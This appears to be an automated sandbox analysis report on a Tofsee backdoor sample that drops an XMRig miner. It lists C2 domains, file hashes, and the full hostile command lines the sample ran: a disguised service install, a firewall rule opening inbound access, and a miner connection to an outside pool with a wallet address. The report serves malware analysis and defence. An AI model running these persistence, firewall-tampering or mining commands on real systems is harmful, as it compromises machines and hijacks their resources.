Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 18:53

General

  • Target
    file.exe
  • Size 327KB
  • Sample230109-xjl2rsfc73
  • SHA256 31413e115f009a34e0f2b60e588a5f4f4240127c12ffb523e900af89dab34079
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zqdtyppp\
      2⤵
        PID:2188
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mpyjjffc.exe" C:\Windows\SysWOW64\zqdtyppp\
        2⤵
          PID:4124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zqdtyppp binPath= "C:\Windows\SysWOW64\zqdtyppp\mpyjjffc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zqdtyppp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4332
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zqdtyppp
          2⤵
          • Launches sc.exe
          PID:1368
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5048
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1040
          2⤵
          • Program crash
          PID:2572
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4612 -ip 4612
        1⤵
          PID:1276
        • C:\Windows\SysWOW64\zqdtyppp\mpyjjffc.exe
          C:\Windows\SysWOW64\zqdtyppp\mpyjjffc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:912
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2364
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3624
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 516
            2⤵
            • Program crash
            PID:3832
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 912 -ip 912
          1⤵
            PID:4452

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                mpyjjffc.exe

                • Path C:\Users\Admin\AppData\Local\Temp\mpyjjffc.exe
                • Size 14.4MB
                • SHA256 d6633a00f34737072550851d48384b73dee2a5c8766913be4236970511938800
                • MD5 SHA1 SHA512 SSDEEP

                mpyjjffc.exe

                • Path C:\Windows\SysWOW64\zqdtyppp\mpyjjffc.exe
                • Size 14.4MB
                • SHA256 d6633a00f34737072550851d48384b73dee2a5c8766913be4236970511938800
                • MD5 SHA1 SHA512 SSDEEP

                memory/912-150-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/912-149-0x00000000005C9000-0x00000000005DE000-memory.dmp

                memory/2364-159-0x0000000002590000-0x00000000025A0000-memory.dmp

                memory/2364-162-0x00000000031D0000-0x00000000031D5000-memory.dmp

                memory/2364-168-0x00000000031E0000-0x00000000031E7000-memory.dmp

                memory/2364-165-0x0000000007D00000-0x000000000810B000-memory.dmp

                memory/2364-156-0x0000000002580000-0x0000000002586000-memory.dmp

                memory/2364-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/2364-152-0x0000000000F10000-0x0000000000F25000-memory.dmp

                memory/2364-146-0x0000000000F10000-0x0000000000F25000-memory.dmp

                memory/2364-151-0x0000000000F10000-0x0000000000F25000-memory.dmp

                memory/3624-172-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/3624-177-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/4612-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/4612-134-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4612-144-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4612-143-0x000000000078E000-0x00000000007A4000-memory.dmp

                memory/4612-132-0x000000000078E000-0x00000000007A4000-memory.dmp